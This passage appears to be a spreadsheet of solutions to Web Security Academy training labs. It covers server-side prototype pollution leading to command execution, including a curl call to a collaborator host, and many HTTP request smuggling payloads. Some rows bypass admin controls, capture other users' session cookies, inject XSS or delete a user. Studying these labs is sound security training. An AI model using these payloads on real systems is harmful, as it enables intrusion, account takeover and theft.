} 1275 | } 1276 | 1277 | Switch Response to Raw, then note that the number of spaces in the indentation has increased in the response. 1278 | 1279 | The constructor property is an alternate if the _proto_ is not working or filtered.","Practitioner, Prototype Pollution" 1280 | 187,Remote code execution via server-side prototype pollution,"""proto"": { 1281 | ""execArgv"":[ 1282 | ""--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"" 1283 | ] 1284 | }","""__proto__"": { 1285 | ""json spaces"":10 1286 | } 1287 | Increases the indentation, indicates Prototype Pollution is possible. 1288 | 1289 | POST /admin/jobs has a maintenance function that cleans up the database and filesystem. This might spawn child processes. 1290 | 1291 | Pollute the _proto_ property with a malicious execArgv property that adds the —eval process to the spawned child process. This is done in the POST /my-account/change-address 1292 | request. 1293 | 1294 | ""__proto__"": { 1295 | ""execArgv"":[ 1296 | ""--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"" 1297 | ] 1298 | } 1299 | 1300 | Then, re-run the admin maintenance job. The job might fail but this will get a hit on the collaborator. 1301 | 1302 | Replace the curl command with code to execute.","Practitioner, Prototype Pollution" 1303 | 188,"HTTP request smuggling, basic CL.TE vulnerability","POST / HTTP/1.1 1304 | Host: YOUR-LAB-ID.web-security-academy.net 1305 | Connection: keep-alive 1306 | Content-Type: application/x-www-form-urlencoded 1307 | Content-Length: 6 1308 | Transfer-Encoding: chunked 1309 | 1310 | 0 1311 | 1312 | G","Submit this twice, the second request will respond with Unrecognized method GPOST 1313 | 1314 | This is because the ""G"" that is added is appended to the start of the second request, making the method a “GPOST”","HTTP Request Smuggling, Practitioner, Review" 1315 | 189,"HTTP request smuggling, basic TE.CL vulnerability","POST / HTTP/1.1 1316 | Host: YOUR-LAB-ID.web-security-academy.net 1317 | Content-Type: application/x-www-form-urlencoded 1318 | Content-length: 4 1319 | Transfer-Encoding: chunked 1320 | 1321 | 5c 1322 | GPOST / HTTP/1.1 1323 | Content-Type: application/x-www-form-urlencoded 1324 | Content-Length: 15 1325 | 1326 | x=1 1327 | 0\r\n\r\n","You need to include the trailing sequence \r\n\r\nfollowing the final 0. 1328 | 1329 | Ensure that the ""Update Content-Length"" option is unchecked.","HTTP Request Smuggling, Practitioner, Review" 1330 | 190,"HTTP request smuggling, obfuscating the TE header","POST / HTTP/1.1 1331 | Host: YOUR-LAB-ID.web-security-academy.net 1332 | Content-Type: application/x-www-form-urlencoded 1333 | Content-length: 4 1334 | Transfer-Encoding: chunked 1335 | Transfer-encoding: cow 1336 | 1337 | 5c 1338 | GPOST / HTTP/1.1 1339 | Content-Type: application/x-www-form-urlencoded 1340 | Content-Length: 15 1341 | 1342 | x=1 1343 | 0",obfuscating transfer-encoding by sending two that are formatted differently,"HTTP Request Smuggling, Practitioner, Review" 1344 | 191,"HTTP request smuggling, confirming a CL.TE vulnerability via differential responses","POST / HTTP/1.1 1345 | Host: YOUR-LAB-ID.web-security-academy.net 1346 | Content-Type: application/x-www-form-urlencoded 1347 | Content-Length: 35 1348 | Transfer-Encoding: chunked 1349 | 1350 | 0 1351 | 1352 | GET /404 HTTP/1.1 1353 | X-Ignore: X",Second request should receive a HTTP 404 response,"HTTP Request Smuggling, Practitioner, Review" 1354 | 192,"HTTP request smuggling, confirming a TE.CL vulnerability via differential responses","POST / HTTP/1.1 1355 | Host: YOUR-LAB-ID.web-security-academy.net 1356 | Content-Type: application/x-www-form-urlencoded 1357 | Content-length: 4 1358 | Transfer-Encoding: chunked 1359 | 1360 | 5e 1361 | POST /404 HTTP/1.1 1362 | Content-Type: application/x-www-form-urlencoded 1363 | Content-Length: 15 1364 | 1365 | x=1 1366 | 0",The second request should receive an HTTP 404 response.,"HTTP Request Smuggling, Practitioner, Review" 1367 | 193,"Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability","POST / HTTP/1.1 1368 | Host: YOUR-LAB-ID.web-security-academy.net 1369 | Content-Type: application/x-www-form-urlencoded 1370 | Content-Length: 116 1371 | Transfer-Encoding: chunked 1372 | 1373 | 0 1374 | 1375 | GET /admin HTTP/1.1 1376 | Host: localhost 1377 | Content-Type: application/x-www-form-urlencoded 1378 | Content-Length: 10 1379 | 1380 | x=",This will provide access to the /admin interface.,"HTTP Request Smuggling, Practitioner, Review" 1381 | 194,"Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability","POST / HTTP/1.1 1382 | Host: YOUR-LAB-ID.web-security-academy.net 1383 | Content-Type: application/x-www-form-urlencoded 1384 | Content-length: 4 1385 | Transfer-Encoding: chunked 1386 | 1387 | 71 1388 | POST /admin HTTP/1.1 1389 | Host: localhost 1390 | Content-Type: application/x-www-form-urlencoded 1391 | Content-Length: 15 1392 | 1393 | x=1 1394 | 0","Note the Host: http://localhost header in the smuggled request, this is what is bypassing the access control on the front-end.","HTTP Request Smuggling, Practitioner, Review" 1395 | 195,Exploiting HTTP request smuggling to reveal front-end request rewriting,"POST / HTTP/1.1 1396 | Host: YOUR-LAB-ID.web-security-academy.net 1397 | Content-Type: application/x-www-form-urlencoded 1398 | Content-Length: 143 1399 | Transfer-Encoding: chunked 1400 | 1401 | 0 1402 | 1403 | GET /admin HTTP/1.1 1404 | X-abcdef-Ip: 127.0.0.1 1405 | Content-Type: application/x-www-form-urlencoded 1406 | Content-Length: 10 1407 | Connection: close 1408 | 1409 | x=1","the X-abcdef-Ip header should be replaced with the rewritten header of a test request smuggle: 1410 | 1411 | POST / HTTP/1.1 1412 | Host: YOUR-LAB-ID.web-security-academy.net 1413 | Content-Type: application/x-www-form-urlencoded 1414 | Content-Length: 124 1415 | Transfer-Encoding: chunked 1416 | 1417 | 0 1418 | 1419 | POST / HTTP/1.1 1420 | Content-Type: application/x-www-form-urlencoded 1421 | Content-Length: 200 1422 | Connection: close 1423 | 1424 | search=test","HTTP Request Smuggling, Practitioner, Review" 1425 | 196,Exploiting HTTP request smuggling to capture other users' requests,"POST / HTTP/1.1 1426 | Host: YOUR-LAB-ID.web-security-academy.net 1427 | Content-Type: application/x-www-form-urlencoded 1428 | Content-Length: 256 1429 | Transfer-Encoding: chunked 1430 | 1431 | 0 1432 | 1433 | POST /post/comment HTTP/1.1 1434 | Content-Type: application/x-www-form-urlencoded 1435 | Content-Length: 400 1436 | Cookie: session=your-session-token 1437 | 1438 | csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test",smuggle a request to the back-end server that causes the next user's request to be stored in the application. Then retrieve the next user's request and use the victim user's cookies to access their account.,"HTTP Request Smuggling, Practitioner, Review" 1439 | 197,Exploiting HTTP request smuggling to deliver reflected XSS,"POST / HTTP/1.1 1440 | Host: YOUR-LAB-ID.web-security-academy.net 1441 | Content-Type: application/x-www-form-urlencoded 1442 | Content-Length: 150 1443 | Transfer-Encoding: chunked 1444 | 1445 | 0 1446 | 1447 | GET /post?postId=5 HTTP/1.1 1448 | User-Agent: a""/> 1449 | Content-Type: application/x-www-form-urlencoded 1450 | Content-Length: 5 1451 | 1452 | x=1","reflected XSS via the user agent header, the next visitor will receive the response to the smuggled request which will result in XSS","HTTP Request Smuggling, Practitioner, Review" 1453 | 198,Response queue poisoning via H2.TE request smuggling,"POST /x HTTP/2 1454 | Host: YOUR-LAB-ID.web-security-academy.net 1455 | Transfer-Encoding: chunked 1456 | 1457 | 0 1458 | 1459 | GET /x HTTP/1.1 1460 | Host: YOUR-LAB-ID.web-security-academy.net","This allows you to fetch arbitrary responses. 1461 | 1462 | You can obtain the response to another users request, then steal their session cookies.","HTTP Request Smuggling, Practitioner, Review" 1463 | 199,H2.CL request smuggling,"POST / HTTP/2 1464 | Host: YOUR-LAB-ID.web-security-academy.net 1465 | Content-Length: 0 1466 | 1467 | GET /resources HTTP/1.1 1468 | Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net 1469 | Content-Length: 5 1470 | 1471 | x=1 1472 | 1473 | Exploit server resources file: 1474 | 1475 | alert(document.cookie)","In Repeater, Allow HTTP/2 ALPN override option and disable the Update Content-Length option. 1476 | 1477 | Change the protocol to HTTP/2 in Inspector 1478 | 1479 | if you send a request for GET /resources, you are redirected to https://YOUR-LAB-ID.web-security-academy.net/resources/ 1480 | 1481 | Add the arbitrary host header of the exploit server, this this will result in the victim making the request to the arbitrary host. Add a payload on the exploit server that executes JS.",HTTP Request Smuggling 1482 | 200,HTTP/2 request smuggling via CRLF injection,"Add headers: 1483 | 1484 | Namefoo 1485 | Valuebar\r\n 1486 | Transfer-Encoding: chunked 1487 | 1488 | Request Body: 1489 | 1490 | 0 1491 | 1492 | POST / HTTP/1.1 1493 | Host: YOUR-LAB-ID.web-security-academy.net 1494 | Cookie: session=YOUR-SESSION-COOKIE 1495 | Content-Length: 800 1496 | 1497 | search=x","Expand the Inspector's Request Attributes section and change the protocol to HTTP/2. 1498 | 1499 | Add the two new headers, make sure to include the linebreak characters in the value of the foo header. Victim session cookie should be in the recent searches.",HTTP Request Smuggling 1500 | 201,HTTP/2 request splitting via CRLF injection,"Namefoo 1501 | Valuebar\r\n 1502 | \r\n 1503 | GET /x HTTP/1.1\r\n 1504 | Host: YOUR-LAB-ID.web-security-academy.net","Expand the Inspector's Request Attributes section and change the protocol to HTTP/2. 1505 | 1506 | To inject newlines into HTTP/2 headers, use the Inspector to drill down into the header, then press the Shift + Returnkeys. Note that this feature is not available when you double-click on the header. 1507 | 1508 | ",HTTP Request Smuggling 1509 | 202,CL.0 request smuggling,"POST /resources/images/blog.svg HTTP/1.1 1510 | Host: YOUR-LAB-ID.web-security-academy.net 1511 | Cookie: session=YOUR-SESSION-COOKIE 1512 | Connection: keep-alive 1513 | Content-Length: CORRECT 1514 | 1515 | GET /admin/delete?username=carlos HTTP/1.1 1516 | Foo: x","Change request method on the first request, keep the second as GET. 1517 | 1518 | POST /arbitraryendpointtotest HTTP/1.1 1519 | Host: YOUR-LAB-ID.web-security-academy.net 1520 | Cookie: session=YOUR-SESSION-COOKIE 1521 | Connection: close 1522 | Content-Type: application/x-www-form-urlencoded 1523 | Content-Length: CORRECT 1524 | 1525 | GET /hopefully404 HTTP/1.1 1526 | Foo: x 1527 | 1528 | This is used for testing, send group in sequence.",HTTP Request Smuggling 1529 | --------------------------------------------------------------------------------